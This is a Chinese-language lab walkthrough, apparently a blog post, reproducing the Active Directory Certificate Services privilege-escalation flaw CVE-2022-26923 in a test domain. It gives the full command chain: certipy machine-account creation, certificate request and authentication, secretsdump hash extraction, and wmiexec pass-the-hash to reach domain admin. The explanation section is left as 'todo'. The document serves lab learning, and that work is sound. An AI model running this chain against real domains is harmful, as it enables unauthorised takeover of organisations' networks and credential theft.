[域渗透] Active Directory 域特权升级漏洞(CVE2022-26923)

799 阅读2分钟

描述:在带有安装默认活动目录环境中(Active Directory Certificate Services(AD CS))的域环境中,可以允许低权限用户将权限提升到域管理员。

实验环境:

Kali 2022 (ip: 192.168.88.129),下文中称作攻击机。

Windows 2012 Service R2 (ip: 192.168.88.151) ,下文中称作靶机。

环境准备,在 靶机中配置相应的IP地址、安装相应的域环境。

在服务器管理器中添加角色,选择相应的Active Directory域服务,以及关键的Active Directory证书服务(该漏洞利用点为该证书服务,详情见下文)

默认下一步即可。

在安装完之后需要进行域环境配置,在服务器管理器中,AD CS里面有个感叹号(图中环境已配置好),点进去一直下一步即可。

装完域环境之后,重启机器。

我们在Powershell(管理员权限)中使用Install-addsforest命令进行新建一个域环境。

域环境名为test.local

\

之后我们添加一个低权限的用户,用户名为midi1,密码为abcABC!

\

此时靶机中的环境已经准备完毕。

攻击机环境

BloodHound(靶机的域环境数据的可视化) 、BloodHound-python(获取靶机的域环境数据)

BloodHound-python安装: github.com/fox-it/Bloo…

克隆下来进行

sudo python3 setup.py install

BloodHound需要neo4j的支持,安装的步骤网上查询。

使用BloodHound-python将域内环境数据获取下来

bloodhound-python -d test.local -u midi1 -p 'abcABC!' -ns 192.168.88.151 -c All --zip

先启动neo4j(sudo neo4j conlose),再启动BloodHound,将数据包导入进去。

在搜索过滤窗口中搜索,certificate serive, 如果能搜索到,说明该服务器安装了Active Directory证书服务,也就是存在漏洞的地方。

也可以查询到相关机器的计算机名称,域内管理信息,最短路径到域控等

主机名为WIN-7BSUV3KIILD

使用certipy进行创建一个machine账户

certipy account create test.local/midi1:'abcABC!'@WIN-7BSUV3KIILD.test.local -user "midi777" -dns "WIN-7BSUV3KIILD.test.local" -debug

使用该machine账户获取相应凭证

certipy req test.local/'midi777$:m7CEuEHaHB5w8f2o'@WIN-7BSUV3KIILD.test.local -ca test-WIN-7BSUV3KIILD-CA -template Machine

获取相应的凭证

certipy auth -pfx win-7bsuv3kiild.pfx

从凭证中获取到域管理员的哈希值

secretsdump.py 'test.local/win-7bsuv3kiild$@win-7bsuv3kiild.test.local' -hashes c6843957d14c62aeff9ded1719957b22:c6843957d14c62aeff9ded1719957b22

通过哈希值使用wmiexec进行命令执行

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8a77f3ddcfd5c4a7f73ad21e25d90346 administrator@192.168.88.151

此时已经获得域控管理员的权限了

原理:

todo

参考文献:

research.ifcr.dk/certifried-…